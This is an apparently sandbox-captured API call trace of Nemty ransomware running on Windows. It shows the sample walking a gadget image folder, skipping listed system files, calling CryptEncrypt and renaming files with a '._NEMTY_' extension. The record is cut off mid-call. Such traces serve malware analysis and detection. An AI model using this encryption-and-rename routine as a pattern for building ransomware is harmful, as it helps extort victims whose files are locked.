[0112.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0112.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340308 [0112.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.319] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.320] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.329] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.329] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.329] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.338] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.348] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.348] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.348] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.357] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.357] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.357] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.367] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.367] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.367] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.376] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.376] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.376] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.386] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.386] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.386] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.395] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.395] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.395] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.428] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.428] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.428] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.440] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.440] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340308, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0112.440] CloseHandle (hObject=0xffffffff) returned 0 [0112.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340478 [0112.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0112.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0112.440] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0112.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0112.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340520 [0112.440] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0112.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340520 | out: hHeap=0x4f90000) returned 1 [0112.440] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.440] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\corner.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\corner.png._nemty_kgobjgd_")) returned 0 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340478 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.441] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0112.441] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824121b8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x824121b8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x283e3003, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="curl-hot.png", cAlternateFileName="")) returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2=".") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="..") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="...") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="windows") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="$RECYCLE.BIN") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="rsa") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="NTDETECT.COM") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="ntldr") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="MSDOS.SYS") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="IO.SYS") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="boot.ini") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="boot.ini") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="AUTOEXEC.BAT") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="ntuser.dat") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="desktop.ini") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="CONFIG.SYS") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="RECYCLER") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="BOOTSECT.BAK") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="bootmgr") returned 1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="programdata") returned -1 [0112.441] lstrcmpiW (lpString1="curl-hot.png", lpString2="appdata") returned 1 [0112.441] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl-hot.png", lpUsedDefaultChar=0x0) returned 12 [0112.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl-hot.png", lpUsedDefaultChar=0x0) returned 12 [0112.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl-hot.png", lpUsedDefaultChar=0x0) returned 12 [0112.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0112.442] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="curl-hot.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="curl-hot.png", lpUsedDefaultChar=0x0) returned 12 [0112.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0112.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0112.442] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0112.442] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340240 [0112.442] Sleep (dwMilliseconds=0x5) [0112.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6aafbb0, dwHighDateTime=0x1d561e7)) [0112.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xf6aafbb0, dwHighDateTime=0x1d561e7)) [0112.443] GetLastError () returned 0x5 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0112.443] GetLastError () returned 0x5 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0112.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0112.443] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0112.443] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0112.443] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63402e8 [0112.443] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63402e8, pcchString=0x653e91c | out: pszString="yj9iv2+sT3avncl/OWTWC/Av9X9Wzr6bw2RHANkKT+hW90Izm02TbramIXReOgzw\r\nD5s14mSQmXFpEy81qSZpWBn2fluzjRNYg3Cney1lrBPjG8JnLudarhTbIiOADkS3\r\nUJv/goPqmpuq9Ig3h/3WsgD4m9OEiN78Eb5Bk+L7dXISo0h1w3PrzCHvg3VXdrsC\r\n7eTy2qPHsxuVviA44sz0YvNcC0fIEyDBw3yOG5+AwFT9l8YB4zkz5QLtFvQxXVoy\r\nJcR6eeBzSlGxGyeKnvFS6yaETeiL83nZQh3hDtSkQOq6mL2Zx/4HpjgIzX9TclRa\r\nIoelt5QIPUOYeoFE1KhOXw==\r\n", pcchString=0x653e91c) returned 1 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0112.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402e8 | out: hHeap=0x4f90000) returned 1 [0112.443] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63402e8 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0112.443] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\images\\curl-hot.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\calendar.gadget\\images\\curl-hot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.443] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0112.443] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0112.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.444] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.463] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0112.463] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.464] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0112.473] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0112.473] WriteFile (in: hFile=0xffffffff, 